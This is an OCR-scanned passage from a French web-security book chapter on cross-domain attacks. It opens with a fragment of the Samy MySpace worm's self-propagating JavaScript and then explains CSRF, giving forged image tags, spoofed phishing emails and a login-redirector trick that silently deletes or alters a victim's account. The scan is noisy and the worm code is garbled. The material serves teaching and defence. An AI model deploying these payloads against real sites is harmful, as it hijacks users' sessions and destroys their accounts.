{var Z=f alse ; if (window. XMLHttpRequest) {try{Z=new XMLHttpRequest ( ) } 
catch (e ) {Z=false}}else if (window. Act iveXObj ect) {try{Z=new ActiveXObject 
( 'Msxml2.XMLHTTP' )}catch(e){try{Z=new ActiveXObj ect ( ' Microsoft .XMLHTTP ' )} 
catch(e){Z=false}}}return Z}var AA=g();var AB=AA. indexOf ( ' m ' +'ycode'); 
var AC=AA. substring (ABjAB +4096); var AD=AC.indexOf ('□'+' IV' ); var AE=AC. 
substring (0, AD) ; var AF; if (AE) {AE=AE. replace ( ' jav ' + ' a ' ,A+ ' j av ' + ' a ' ) ; 
AE=AE . replace (' exp ' + ' r) ' , ' exp ' + ' r) ' +A) ;AF= ' but most of all, samy is my 
hero. <d' +'iv id= ' +AE+ ' D ' + ' IV> ' }var AG;function getHome(){if 
( J . readyState ! =4) {return}var AU=J . responseText;AG=f indIn(AU, 'P' + 
' rof ileHeroes ' , ' </td> ' ) ;AG=AG. substring (61 , AG. length) ; 
if (AG.indexOf ( 'samy' )==h1 ){if (AF){AG +=AF;var 
AR=getFromURL(AU, 'Mytoken ' ) ; 

var AS=new Array ( ) ; AS[ ' interest Label ' ]-' heroes ' ; AS[ ' submit ' ]-' Preview' ; 
AS[ ' interest ' ]=AG; J=getXMLObi ( ) ; httpSend( ' /index. cfm?fuseaction= 
profile . pre viewlnte rest s&Mytoken= ' 
+AR,postHero, 'POST' , paramsToString (AS) )}}} 

function postHero( ) {if (J . readyState! =4) {return} var AU=J . responseText ; var 
AR=getFromURL(AU, 'Mytoken ' ) ; var AS=new 
Array ( ) ;AS[ ' interest Label ' ] = ' heroes ' ; 

AS[ ' submit ' ]=' Submit ' ;AS[ ' interest ' ] =AG;AS[ ' hash ' ] =getHiddenParameter 
(AU, 'hash' ) ;httpSend( ' /index . of m?fuseaction= 
profile . process I nte rest s&Mytoken= ' 
+AR, nothing, ' POST' , paramsToString (AS) ) } 

function main(){var AN=getClientFID( ) ; var BH= ' /index . cfm?fuseaction= 

user .viewP rof ile&fr lend ID= ' +AN+ ' &Mytoken= ' +L; J^getXMLObj ( ) ; 

httpSend(BH,getHome, 'GET' ) ; xmlhttp2=getXML0bi () ; 

httpSend2 ( ' /index . cf m?f useaction=invite . addf riend_verif y&f riendID= 

1 1 851 658&Mytoken= ' +L, processxForm, ' GET ' ) }f unction processxForm( ) 

{if (xmlhttp2 . readyState ! =4) {ret urn} var AL)=xmlhttp2 . responseText ; 

var AQ=getHiddenParameter (AU, ' hashcode ' ) ; var AR=getFromURL(AU, 'Mytoken ' ) ; 

var AS=new Array () ;AS[ ' hashcode ' ]=AQ;AS[ 'friendID' ]=' 1 1851658 ' ; 

AS [' submit ']= 'Add to Friends '; httpSend2( ' /index . of m?fuseaction= 
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invite . addFriendsProcess&Mytoken= ' +AR, nothing, ' POST' , paramsToString(AS) ) } 

function httpSend2(BH, BI , BJ , BK) {if (! xmlhttp2) {return false}eval 

( 'xmlhttp2.onr' + ' eadystatechange=BI ' ) ; xmlht t p2. open (BJ,BH, true) ; 

if (BJ=='POST' ){xmlhttp2.setRequestHeader( 'Content-Type' , 

' application/x-www-f orm-urlencoded ' ) ; xmlhttp2 . set Request Header 

( ' Content-Length ' , BK. length) }xmlhttp2 . send (BK) ; return true} "></DIV> 
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Attaques inter-domaines 



Ce chapitre aborde les controles de securite dans les navigateurs puis il montre une serie 
de points faibles serieux, que I'on peut decrire comme des attaques inter-domaines. 



Info 



L'icone d'attaque, employee dans ce chapitre, represente une faille, vulnerabilite ou toute 
agression relevant de problemes de securite entre les domaines. 



Tisser un Web gordien^ : le besoin d'agir d'un domaine a I'autre 

Comme evoque au Chapitre 2, c'est le navigateur qui a pour charge d'appliquer certai- 
nes regies aux contenus rapatries des serveurs web afin de proteger son utilisateur, ou 
tout autre site web, d'une eventuelle activite malveillante. Ces boucliers s'appuient 
generalement sur la politique de meme origine, laquelle definit les actions susceptibles 
que peuvent effectuer les contenus executables telecharges depuis les sites, ainsi que les 
donnees rapatriees depuis des origines differentes. 

Un bon exemple d' activite interdite est la modification du modele d'objet de document 
{Document Object Model ou DOM) relevant d'un autre site web. Le DOM represente 
logiciellement le contenu d'une page web, ainsi, intervenir sur le DOM d'une page 
constitue une action-cle des composants cote client d'une application du Web 2.0. 
Cependant, ce genre d' intervention n'est pas autorise d'un domaine a I'autre, aussi le 
code AJAX {Asynchronous JavaScript and XML) cote client n' a-t-il le droit de modifier 
que les contenus issus de la meme origine que lui-meme. 



1. N.D.T. : En anglais, le mot Web signifie toile (d'araignee). 
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Le World Wide Web repose avant tout sur I'existence d'hyperliens entre sites et domaines ; 
une certaine quantite d' interactions y est done toleree entre ces derniers. En fait, quasi- 
ment toutes les applications web modernes reprennent des contenus issus de plusieurs 
domaines - lesquels relevent parfois d'entites independantes, voire concurrentes. 

Emplois des interactions inter-domaines 

Examinons quelques usages legitimes des interactions inter-domaines auxquelles font 
appel de nombreux sites web. 

Liens et iFrames 

L'objectif original du Web consistait a proposer un media oil les documents scientifi- 
ques et techniques pourraient pointer directement vers leurs references, besoin comble 
par I'hyperlien. Dans son aspect le plus elementaire, un lien entre sites est introduit par 
la balise <a>, comme suit : 

<a href="http: //www. example. com/index. html">Voici un lien!</a> 

Les images peuvent egalement servir de liens : 

<a href="http: //www. example.com/index.html"> 

<img src=" /images /link_bouton . png"> 

</a> 

Le langage JavaScript sert parfois a ouvrir des liens dans de nouvelles pages, comme 
dans la fenetre surgissante (pop-up) que voici : 

window. open ( ' http : / /www. example . com ' , ' exemple ' , ' width=400, height =300 ' ) ; 

Les liens qui provoquent 1' apparition de nouvelles fenetres ou renvoient la fenetre 
actuelle du navigateur vers un nouveau site emettent des requetes HTTP GET vers le 
serveur web. Les exemples donnes ci-dessus provoqueraient la requete GET 
suivante : 

GET index.html HTTP/1 .1 

A I'aide de I'objet IFrame^, les pages web peuvent encore enchasser d'autres pages web 
a I'interieur de leur propre fenetre. Cette technique pose d'interessantes questions en 
matiere de politique de la meme origine : les sites ont le droit de creer des iFrames 
pointant vers d'autres domaines, et done inclure une page de ces derniers dans leur 
propre contenu. Cependant, apres chai^gement de ce cadre en ligne, les contenus de la 
page enveloppante n'ont pas le droit d'interagir avec ceux de la piece rapportee. Les 
iFrames interviennent dans de nombreuses escroqueries exploitant des failles de secu- 
rite, quand certains ont reussi a creer des pages "detournant" les informations person- 
nelles d'un utilisateur en les presentant sous forme d'une iFrame sur un site inconnu. 



1. N.D.T. : Litteralement, cadre en ligne. 
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Malgre les apparences, ces informations etaient servies directement depuis le site de 
confiance, et done en aueun eas detoumees par I'attaquant. Nous reviendrons un peu 
plus loin sur I'emploi malveillant d'iFrames. 

On met en place une iFrame a I'aide de la balise que voici : 

<iframe src ="http :/ /www. example . com/default . asp" width="100%"> 
</if rame> 

Chargement des objets et des images 

De nombreux sites web stockent leurs images sur un sous-domaine distinct et repren- 
nent souvent des illustrations issues d'autres domaines. C'est notamment le cas des 
bannieres publicitaires, bien que de nombreux publicitaires aient recemment migre vers 
le JavaScript inter-domaines. Un bandeau commercial classique se presente comme 
suit : 

<img src= ' http: / /bandeaux .pubs Irritant esSA. com/ ad435521 . ] pg ' > 

D'autres types de contenus, comme les objets Adobe Flash, peuvent eux aussi etre char- 
ges depuis d'autres domaines : 

<obiect width="500" height="300"> 

<param name="FlashlVlovie" value="MyMovie.swf "> 

<embed src= " http : / /www. VideothequePrivee . com /Mon Film . swf " width= "500 " 

height="300"> 

</embed> 

</obi ect> 

Chargement de codes JavaScript 

II est encore permis d'inclure sur une page web des scripts executables en provenance 
d'un autre domaine. Comme les requetes des exemples precedents, les balises de script 
pointant vers d'autres domaines provoquent automatiquement remission des cookies 
de I'utilisateur correspondant au domaine considere. Sur les systemes principaux de 
publicite sur Internet, le chargement de scripts d'un domaine a 1' autre a remplace les 
iFrames et les bandeaux. Pour inclure une publicite issue d'un autre domaine, on pourra 
ecrire : 

<script src="http: / /pubs . PopUpsEnnuyeux. com/?adlink=66433367"></script> 

Definition du probleme ? 

Nous avons evoque les nombreuses manieres par lesquelles des applications web legiti- 
mes emploient des methodes de communication entre domaines. Vous vous demandez 
done peut-etre quel est le rapport avec les problemes de securite poses aux applications 
web modernes. La racine du mal se trouve dans les origines du World Wide Web. 
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Dans les annees 1980, alors qu'il emargeait au CERN, institut europeen de recherche, 
Tim Berners-Lee a imagine le World Wide Web comme une methode de chargement de 
texte mis en forme et d'images, dans I'objectif affirme d'ameliorer les echanges entre 
scientifiques et ingenieurs. Ces fonctionnalites elementaires du debut furent plusieurs 
fois etendues par le consortium du Web (World Wide Web Consortium ou W3C) et par 
d'autres organismes de normalisation - ce qui a notamment provoque 1' apparition de la 
fonction HTTP POST, de JavaScript et de XMLHTTPRequest. 

Bien que le sujet des requetes modifiant I'etat de I'application (transfert d'argent sur un 
site bancaire, changement de mot de passe. . .) ait fait I'objet de quelques reflexions, les 
avertissements tels que celui qu'on trouve dans la RFC 2616 (definissant HTTP) sont 
rarement pris en compte. Quand bien meme seraient-ils suivis par un developpeur web 
limitant son application a n' accepter des changements d'etats que suite a des requetes 
HTTP de type POST, un probleme fondamental subsiste : // est impossible de distinguer 
les actions intentionnelles d'un utilisateur des actions menees automatiquement par la 
page web qu'il visite. 



Balises d'images inter-domaines 



Popularite : 


7 


Simplicite : 


4 


Impact : 


' 9 


Evaluation du risque : 


8 



Un exemple montrera la difficulte de reconnaitre les manipulations volontaires et les 
requetes automatiques inter-domaines. Alice est connectee sur un site web de reseaux 
sociaux, http://www.AniisDesAgneaux.coni, qui emploie de simples balises <a> pour 
realiser la plupart de ses actions. L'une des pages renferme la liste des propositions 
d'amitie regues par I'utilisateur, codec a peu pres comme suit : 

<a href =" http : / /www. AmisDesAgneaux . com/aj outerAmi . aspx?UID=3454" 
>Approuver David !</a> 

<a href =" http : / /www. AmisDesAgneaux . com/aj outerAmi . aspx?UID=4258" 
>Approuver Stephanie ! </a> 

<a href =" http : / /www. AmisDesAgneaux . com/aj outerAmi . aspx?UID=21 89" 
>Approuver Robert!</a> 

Si Alice clique sur le lien "Approuver Robert !", son navigateur communiquera avec 
www. AmisDesAgneaux . com en lui tenant a peu pres ce langage : 

GET http : / /www. amisdesagneaux . com : SO/aj outerAmi . aspx?UID=21 89 HTTP/ 1 . 1 
Host: www.amisdesagneaux.com 

User-Agent: Mozilla/5 . 0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.3) 
Gecko/20070309 Firef ox/2.0.0.3 
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Accept: image/png,*/*;q=0.5 

Accept-Language : en-us,en;q=0.5 

Accept-Encoding : gzip, deflate 

Accept-Charset: ISO-8859-1 , utf -8 ; q=0 . 7, * ; q=0 . 7 

Keep-Alive: 300 

Proxy-Connection: keep-alive 

Cookie: GoatID=AF]84g34JV789f HFDE879 

Ref erer : http : / /www. amisdesagneaux .com/ 

On constate que cette requete est authentifiee par le cookie d' Alice, qu'elle a re9u apres 
s'etre identifiee en declinant son nom d'utilisateur et son mot de passe - et valable 
plusieurs semaines sur ['application web. 

Imaginons maintenant que Stephanie se sente tres seule et souhaite coUecter autant 
d'amis que possible. Sachant que le site AmisDesAgneaux emploie un cookie a long 
terme pour son mecanisme d'authentification, elle pourrait incorporer une balise 
d'image sur son blog par ailleurs assez frequente, maVieNeVautRien . blogspot . com, 
comme suit : 

<img src="http : / /www. AmisDesAgneaux . com/aj outerAmi . aspx?UID=4258" 
height=1 width=1> 

Toute visite de son blog declencherait alors chez le navigateur une emission automati- 
que de cette requete d'image. Si la base de cookies du navigateur dispose d'un cookie 
correspondant a ce domaine, ce dernier serait automatiquement incorpore a la demande. 
Le navigateur d' Alice emettrait ainsi la requete suivante : 

GET http : / /www. amisdesagneaux . com : 80/aj outerAmi . aspx?UID=4258 HTTP/ 1 . 1 
Host: www.amisdesagneaux.com 

User-Agent: Mozilla/5 . 0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.3) 

Gecko/20070309 Firef ox/2.0.0.3 

Accept: image/png,*/*;q=0.5 

Accept-Language: en-us,en;q=0.5 

Accept-Encoding: gzip, deflate 

Accept-Charset: ISO-8859-1 , utf -8 ; q=0 . 7, * ; q=0 . 7 

Keep-Alive: 300 

Proxy-Connection: keep-alive 

Cookie : Goat ID=AFi 84g34JV789f HFDE879 

Referer: http: / /mavienevautrien . blogspot . com/ 

On le constate, ces deux requetes sont quasiment identiques. Resultat : tout visiteur du 
blog de Stephanie s'etant connecte sur le site AmisDesAgneaux lors des quelques 
dernieres semaines ajouterait automatiquement celle-ci a sa liste d'amis. Les lecteurs 
attentifs auront remarque une difference dans le champ de referent (Referer:), mais 
controler celui-ci pour eviter ce type d'attaque ne constitue par une defense efficace, 
comme nous le verrons un peu plus loin. 
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Decouverte des applications web vulnerables 

Nous avons demontre de quelle maniere I'inclusion d'une seule balise d'image peut 
servir a detourner une application web vulnerable. Contrairement aux autres points 
faibles du Web, on ne peut pas considerer ce probleme comme un "bogue" du a une 
programmation laxiste, une erreur ou une omission. Les developpeurs de 1' application 
AmisDesAgneaux ont con9u celle-ci autour de la structure de commande la plus 
elementaire possible, sans doute pour lui garantir simplicite et facilite de maintenance. 
C'est I'absence de prise en compte des mecanismes inter-domaines lors de I'invocation 
de cette methode qui a rendu leur application vulnerable. 

Ce qui rend une application web vulnerable 

L'attaque que nous venons de decrire est communement appelee "forgement de requetes 
sur d' autres sites" {Cross-Site Request Forgery ou CSRF, parfois XSRF), attaque par 
commande d'URL, CSRF (URL Command Attack) ou encore passager clandestin d'une 
session {Session Riding). Nous la nommerons simplement CSRF. A quoi reconnait-on 
une application vulnerable aux agressions CSRF ? Dans notre experience, toutes les 
applications web non con9ues en ayant ce probleme a I'esprit presenteront des failles. 

Votre application est vulnerable du point de vue des attaques CSRF si vous repondez 
"oui" a Y ensemble des questions suivantes : 

■ L'application dispose-t-elle d'une structure de contrdle previsible ? II est extreme- 
ment rare qu'une application web n'emploie par des URL dont la forme est facile a 
deviner d'un utilisateur a I'autre. Cela ne constitue pas en soi une faille ; recourir a 
des URL demesurement complexes ou aleatoires pour les interactions avec les utili- 
sateurs ne presente pas de grands avantages techniques. 

■ L'application recourt-elle a des cookies ou autres mecanismes d'authentification 
integres aux navigateurs ? Les developpeurs s'accordent a reconnaitre que la 
meilleure maniere d'authentifier qu'une requete provient d'un utilisateur valide 
consiste a employer des cookies au perimetre bien etabli et impossibles a deviner. 
Cela demeure le cas, mais le fait que les navigateurs attachent les cookies a quasi- 
ment toute requete inter-domaines permet la mise en place d'attaques CSRF, a 
moins que Ton n'emploie d'autres mecanismes d'authentification. Les methodes 
liees aux navigateurs (HTTP Auth, I'authentification integree a Windows ou encore 
le recours a des certificats cote client) sont elles aussi automatiquement activees aux 
requetes inter-domaines, n'apportant done aucune protection en matiere de CSRF. 
Les sessions valides tres longtemps exposent elles aussi les sites web a cette famille 
d' agressions : un utilisateur peut se connecter une seule fois et rester connecte pour 
de nombreux jours ou semaines (ouvrant ainsi une breche pour les attaques CSRF 
ciblant les applications n'imposant pas des sessions courtes). 
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■ Les parametres des requites valides soumises par d'autres utilisateurs sont-ilsfaci- 
les a deviner pour un attaquant ? Pour reussir son coup, un agresseur doit non 
seulement etablir la structure de commandes, mais aussi savoir quelles valeurs 
inscrire dans les cases. 

Niveau de risque d'une application 

On trouve rarement des applications web dont la majorite des requetes HTTP ne pour- 
raient etre forgees par d'autres domaines, cependant le niveau reel de danger qu'encou- 
rent les proprietaires et utilisateurs depend enormement d'une association compUquee 
de variables techniques et commerciales. Nous considerons qu'une application bancaire 
oil il faut plusieurs milliers de tentatives a un agresseur pour modifier le mot de passe 
d'un utilisateur est plus preoccupante qu'un blog oil Ton parvient a chaque fois a 
publier des publicites indesirables dans les commentaires. Voici quelques-uns des 
facteurs a prendre en compte pour mener cette evaluation : 

■ L'impact maximal d'une attaque couronnee de succes. En general, les faiblesses 
CSRF d'une application web couvrent I'ensemble de ses fonctionnalites ou rien du 
tout. Dans une telle situation, il convient d'identifier les actions qui pourraient 
causer le plus grand tort ou provoquer le plus grand gain financier chez 1' agresseur, 
en cas d' attaque reussie. 

■ L' existence de parametres propres a I'utilisateur ou a la session. Les faiblesses 
CSRF les plus importantes seront efficaces sur tout utilisateur disposant d'un cookie 
valable sur le site victime. L' application AmisDesAgneaux illustre bien ce type de 
faille : le meme code d' attaque conviendra pour tous les utilisateurs, sans necessite 
de calcul ni de personnalisation. Ces faiblesses se repandront comme une trainee de 
poudre aupres de milliers de victimes potentielles, a travers la publication d'un post 
de blog, renvoi de poumels ou grace a un site web detourne. A contrario, toute 
faiblesse CSRF individualisant les parametres utilisateur par utilisateur ou session 
par session devra cibler une victime precise. 

■ L'emploi de parametres utilisateur ou de session difficiles a deviner. S'il existe, 
il faudra juger s'il est pratique a un attaquant de les deduire d'autres donnees ou 
d'en estimer la valeur correcte. Les parametres caches d'une requete incorporeront 
peut-etre des informations apparemment denses, mais faciles a reconnaitre (comme 
la valeur de I'horloge du systeme, a la milli-seconde pres), ou des donnees moins 
volumineuses mais plus ardues a trouver (le numero d'identifiant interne de I'utili- 
sateur). L' aspect aleatoire ne garantit par toujours le cote hasardeux d'une donnee ; 
nombreux sont les cas oil les informations vraiment impossibles a deviner ne sont 
pas tant difficiles a predire qu' uniques (contre-exemple : la date ajoutee a I'heure 
produit un numero unique, mais pas impossible a predire). 
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Attaques de domaines pour le plaisir et pour I'argent 

Apres avoir explore les fondations theoriques des faiblesses CSRF et decouvert une 
application web dotee de methodes vulnerables, mettons au point une attaque CSRF 
elementaire, puis plus evoluee. 

Conception d'une attaque CSRF 

Bien que par definition, le "retour sur effort" des agressions CSRF depende des actions 
engagees et des sites cibles, la structure d'une attaque et la plus grande partie du code 
permettant d'exploiter une faiblesse sont tres faciles a reprendre. Nous explorerons ci- 
apres les etapes qu'on peut suivre pour produire un tel effet. 

Identification de la methode vulnerable 

Nous avons deja evoque certains des facteurs permettant de savoir si telle ou telle 
requete d'une application web sera possible a forger sur un autre domaine. La methode 
d'authentification, la facilite avec laquelle on peut deviner les donnees a placer en para- 
metres, ainsi que la structure de la requete comme celle de la population de ses utilisa- 
teurs entrent toutes dans I'equation. Les agresseurs compareront I'effort a fournir aux 
gains esperes. Dans le passe, leurs motivations impliquaient, I'appat du gain, I'envie de 
provoquer le chaos, et meme la perspective d'ajouter, a leur insu, des milliers d'utilisa- 
teurs a leur propre reseau social. L' experience des centaines de societes victimes de 
faiblesses de leurs applications web permet de predire quelles fonctionnalites d'une 
application en vaudront la peine pour les agresseurs. 

Pour illustrer la presentation, reprenons I'exemple d'AmisDesAgneaux, reseau social 
mal ecrit. Supposons que son bouton permettant de cloturer un compte mene vers une 
page de confirmation, oil Ton trouvera le lien que voici : 

<a href =" https : / /www. amisdesagneaux . com/annuler_compte . aspx? 
conf irmation=Oui">Oui, je souhaite clone mon compte. </a> 

Elimination des informations inutiles etforgement des autres 

Quand il a decouvert la requete qu'il souhaite falsifier, un agresseur peut examiner 
les parametres qui s'y trouvent pour savoir lesquels sont vraiment necessaires, et 
provoqueraient des erreurs ou la detection de 1' attaque s'ils recevaient a tort la meme 
valeur que celle observee initialement lors de la conception du script. Souvent, 
les applications web embarquent dans leurs requetes des informations non indispen- 
sables, et susceptibles d'etre analysees a des fins statiques pour le departement 
marketing. 

D'experience, il est possible d'omettre un plusieurs parametres frequents : pages 
d'entree sur le site, identifiants utilisateur pour les analyses par blocs, et jetons permet- 
tant de retenir un etat sur plusieurs formulaires. En revanche, la date ou une estampille 
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temporelle constitue un parametre commun parfois necessaire, ce qui pose un probleme 
interessant a I'attaquant. En general, ce type de protection n'est guere efficace contre 
les agressions CSRF, mais il suffira a prevenir les agressions issues de liens ou formu- 
laires HTML statiques. Les estampilles temporelles sont faciles a forger en JavaScript, 
dans le cadre d'attaques calculant la requete de maniere dynamique - s'appuyant pour 
cela sur I'horloge systeme de la victime ou en se synchronisant sur une horloge controlee 
par I'agresseur. 

Peaufiner son attaque - CSRF reflete 

Comme dans le cas de I'injection de donnees arbitraires sur un site web (XSS ou Cross- 
Site Scripting), un attaquant dispose de deux vehicules pour faire executer son code 
dans le navigateur de la victime : le CSRF reflete et le CSRF stocke. 

A nouveau, on exploite le CSRF reflete en incitant une victime qui ne s'y attend pas a 
cliquer sur un lien ou a visiter un site web controle par I'agresseur. II s'agit d'une 
technique bien comprise par les escrocs menant des attaques par hame9onnage 
(phishing), et leurs milliers de victimes demontrent I'efficacite des courriers bien 
con9us et des sites web imitant correctement leur source d' inspiration - cela suffit 
a tromper un grand nombre d'utilisateurs de I'lnternet. 

L' attaque par CSRF reflete la plus elementaire pourra se limiter a un seul lien realisant 
une fonction dangereuse, le tout enveloppe dans un courriel non soUicite. Reprenons 
I'exemple des AmisDesAgneaux, en supposant que I'agresseur souhaite exclure du site 
un certain groupe de personnes. La meilleure methode pour parvenir a ses fins consiste 
a leur expedier un courriel dont on falsifiera I'adresse d'origine (champ From:) et oil 
Ton inclura un lien comme suit : 

<HTML> 

<h1>Message important des AmisDesAgneaux!</h1> 

Georges veut devenir votre ami. Souhaitez-vous : 

<a href =" https : / /www. amisdesagneaux . com/annuler_compte . aspx? 

confirmation =Oui">Accepter?</a> ou 

<a href =" https : / /www. amisdesagneaux . com/annuler_compte . aspx? 

confirmation =Oui">Ref user?</a> 

</HTML> 

Quel que soit le lien clique, le navigateur emettra une requete d'annulation du compte 
de I'utilisateur, en y incorporant automatiquement tous les cookies actuellement actifs 
pour ce site. 

Evidemment, cette attaque suppose que la victime dispose d'un cookie de session 
valide sur le site au moment de suivre le lien propose pai^ le message de I'attaquant. 
C'est la une hypothese tres forte, en fonction de la configuration precise du site. 
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Certaines applications web, comme le courrier electronique (webmail) et les portails 
individuels personnalises, emploieront des cookies de session persistants, stockes dans 
le navigateur de I'utilisateur, resistant aux redemarrages de I'ordinateur et valables 
plusieurs semaines. Cependant, a I'instar de la plupart des applications de reseaux 
sociaux, AmisDesAgneaux assoit son authentification de session sur deux cookies. Le 
premier, persistant, dure des mois et consigne I'identifiant utilisateur. II assure une 
personnalisation elementaire de la page d'acces et remplit automatiquement le champ 
texte du nom d'utilisateur lors de la connexion. Le deuxieme, ephemere, est detruit a 
chaque fois que Ton ferme I'utilisateur, et sert a mener les actions dangereuses. L'atta- 
quant a decouvert tout cela lors de sa reconnaissance sur le site, aussi propose-t-il une 
autre solution, qui garantira la bonne authentification de la victime lors de remission de 
la requete de 1' attaque. 

De nombreuses applications imposant une authentification prevoient une page de 
connexion intermediaire, automatiquement affichee lorsqu'un utilisateur tente de reah- 
ser une action pour laquelle il n'est pas identifie, ou lorsqu'il laisse dormir une session 
suffisamment longtemps pour qu'elle expire. Presque toujours, ces ecrans intermediai- 
res jouent un role de redirecteur, garantissant une ergonomie agreable en renvoyant 
automatiquement le navigateur sur la ressource reclamee en cas de succes lors de 
r authentification. L'agresseur, qui salt que les utilisateurs connaissent bien cette page, 
adapte son courrier pour faire passer son attaque par ce redirecteur : 

<h1>Message important des AmisDesAgneaux !</h1> 
Georges veut devenir votre ami. Souhaitez-vous : 
<a href=" 

https : / /www. amisdesagneaux . com/ 

reconnexion . aspe?redir=annuler_oompte . aspx%3Fconf irmation=Oui" 
>Accepter?</a> ou 
<a href= 

"https : / /www. amisdesagneaux . com/ 

reconnexion . aspe?redir=annuler_compte . aspx%3Fconf irmation=Oui" 

>Ref user?</a> 

</HTML> 

L'utilisateur non mefiant, qu'il accepte ou refuse cette demande, parviendra sur la page 
de connexion interstitielle veritable des AmisDesAgneaux. Apres y avoir saisi son mot 
de passe, il sera automatiquement renvoye sur I'URL malveillante et verra son compte 
detruit. 

Peaufiner son attaque - CSRF stocke 

On peut egalement recourir a du CSRF stocke pour mener cette attaque a bien - ce qui 
s'avere tres facile dans le cas d' AmisDesAgneaux. Le CSRF stocke impose que 
l'agresseur puisse modifier des contenus situes sur le site web cible, ce qui rappelle 
beaucoup XSS. A la difference des attaques XSS, toutefois, l'agresseur n'aura pas 
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besoin d'y injecter des contenus actifs comme JavaScript ou des balises <obiect>. 
Meme les filtres HTML les plus stricts ne le generont pas. 

Les applications du Web 2.0 proposent souvent a leurs utilisateurs de creer leurs 
propres contenus et de personnaliser des elements afin de mieux refleter leur personna- 
lite. C'est notamment vrai dans les blogs, salons de discussion, forums d'echanges et 
autres sites de reseaux sociaux, s'appuyant entierement sur des contenus generes par les 
utilisateurs. II est certes tres rare de trouver un site autorisant la publication de code 
JavaScript ou de toutes les fonctions de HTML, mais nombreux sont ceux qui permet- 
tent aux utilisateurs de tirer, dans leurs profils, des liens vers des images, billets de blog 
ou messages de forum. 

L'attaquant, sachant que les autres utilisateurs doivent deja etre authentifies pour vision- 
ner sa page de profil sur le site des AmisDesAgneaux, se contentera d'y incorporer une 
balise d'image invisible menant vers I'URL en question, comme suit : 

<img style="display:none" 

src=" https : / /www. amisdesagneaux . com/annuler_compte . aspx? 
conf irmation=Oui"> 

Avec cette simple balise, l'attaquant s' assure que quiconque visitant son profil detruira 
automatiquement le sien, sans que rien n'indique que le navigateur a realise cette 
requete au nom de I'utilisateur. 
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Popularite : 


1 


Simplicite : 


4 


Impact : 


9 


Evaluation du risque : 


8 



Nous avons souligne plusieurs methodes simples permettant de mener une attaque 
CSRF dangereuse, susceptible d'etre invoquee par une simple requete HTTP GET. Que 
se passe-t-il si I'agresseur a besoin d'imiterle comportement d'un utilisateur validant un 
formulaire HTML (achat ou vente d' action, transfert bancaire, mise a jour de son profil 
ou proposition de message sur un babillard ou forum en ligne) ? 

Le document specifiant la version 1 . 1 du protocole de transfert hypertexte {Hypertext 
Transfer Protocol ou HTTP/1.1), a s avoir la RFC 2616,prevoit la possibilite d' attaques 
de type CSRF dans la section precisant quelles actions chacune des methodes HTTP 
sont susceptibles de realiser. 
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Methodes sures 

■ Les implementations n'oublieront pas que le logiciel represente I'utilisateur dans 
ses interactions sur Internet, et veilleront a lui faire prendre conscience que certaines 
actions sont susceptibles d' avoir des consequences inattendues sur lui-meme ou sur 
les autres. 

■ En particulier, une majorite s'accorde sur la convention suivante : les methodes GET 
et HEAD ne devraient pas pouvoir realiser toute autre action qu'une consultation. En 
ce cas, on pourra les considerer comme "sures". Les agents utilisateur pourront ainsi 
representer les autres methodes, telles que POST, PUT et DELETE, d'une maniere parti- 
culiere, de sorte que I'utilisateur soit informe de la possibihte qu'une action poten- 
tiellement dangereuse soit ainsi demandee. 

■ Evidemment, on ne peut garantir 1' absence sur le serveur de tout effet de bord suite 
au traitement d'une requete GET ; dans certaines ressources de nature dynamique, 
c'est meme souhaite. La distinction importante a mener ici, c'est que I'utilisateur 
n'ayant pas reclame ces effets de bord, il ne pouiTa en eti"e tenu pour responsable. 

Malheureusement pour la securite du World Wide Web, cette section de la norme est a la 
fois largement ignoree et imprecise en ce qu'elle implique que la methode POST, qui 
permet notamment aux navigateurs de mettre en ligne des fichiers ou de valider des 
formulaires, trahit le desir conscient d'un utilisateur, et non plus une action automatique 
prise en son nom. 

Les progres recents en matiere d'AJAX ont certes enormement elargi le spectre des 
formats par lesquels une methode HTTP POST permet de transmettre des donnees a un 
site web, c'est le formulaire HTML qui demeure de loin la structure la plus repandue 
lorsqu'il s'agit de produire des requetes HTTP agissant sur I'etat d'une application. 
L'habillage des formulaires ne presente certes plus guere que de rares points communs 
avec les champs de saisie rectangulaires et boutons de validation gris de la fin des 
annees 1990, mais le format de la requete transmise sur le reseau n'a pas change. Ainsi, 
un formulaire de connexion elementaire ecrit comme suit : 

<FORM action="https : / /www. amisdesagneaux. com /connexion . aspx" methocl="post "> 
<LABEL f or="loginname">Nom d ' utilisateur : </LABEL> 

<INPUT type="text" id="loginnanie"><BR> 
<LABEL for="password">Mot de passe: </LABEL> 

<INPUT type="text" id="password"><BR> 
<INPUT type="submit" value="Envoi"> 
</FORM> 

produira encore et toujours une requete HTTP comparable a la suivante, des lors que 
I'utilisateur aura clique sur le bouton d'envoi : 

POST https://www.amisdesagneaux.com/login.aspx HTTP/1.1 
Host: www.amisdesagneaux.com 



Chapitre 3 



Attaques inter-domaines 93 



User-Agent: IVlozilla/5 . 0 (Macintosh; U; Intel Mac OS X; 

en-US; rv:1.8.1.4) Gecko/20070515 Firef ox/2.0.0.4 

Accept : text /xml , application/xml , applicat ion /xhtml+xml, text / 

html; q=0. 9, text/ plain ;q=0.8, image /png,*/*;q=0. 5 

Accept-Language: en-us,en;q=0.5 

Accept-Encoding : gzip, deflate 

Accept-Charset: ISO-8859-1 ,utf-8;q=0.7,*;q=0.7 

Keep-Alive: 300 

Connection: keep-alive 

Cookie : Goat ID=AFi 84g34JV789f HFDE879 

Content-Type : application/x-www-f orm-urlencoded 

Content-length: 32 

loginname=Robert&password=NomDeMonChat 

Une telle requete est facile a falsifier par des sites dont I'agresseur controle les codes 
HTML et JavaScript, sachant que rien n'interdit a une page web d'emettre un formu- 
laire destine a un domaine totalement different. Cependant, cliquer sur leur bouton 
d'envoi presentera generalement sur le navigateur de I'utilisateur la reponse du serveur 
web, compromettant enormement par la meme la discretion de toute attaque CSRF. 

L' element de "cadre en ligne" de HTML (ou <iframe>) fournit la solution a ce 
probleme. II s'agit de documents web inclus dans une page web, susceptibles d'etre 
charges depuis n'importe quel domaine. Les iFrames peuvent recevoir une taille quel- 
conque ou etre masques. Le langage JavaScript permettant de creer, de remplir et de 
completer des formulaires HTML situes dans un iFrame, ces demiers constituent un 
excellent outil pour un agresseur cherchant une methode lui permettant de detourner un 
navigateur pour lui faire valider des formulaires arbitraires. 

La fonction de mise a jour d'un profil d'utilisateur constitue I'exemple ideal de I'emploi 
de formulaires HTML sur le site des AmisDesAgneaux. L'ecran concerne pourra se 
presenter comme suit : 

<FORM action^ " https : / /www . amisdesagneaux . com/ updateprof ile . aspx" method 
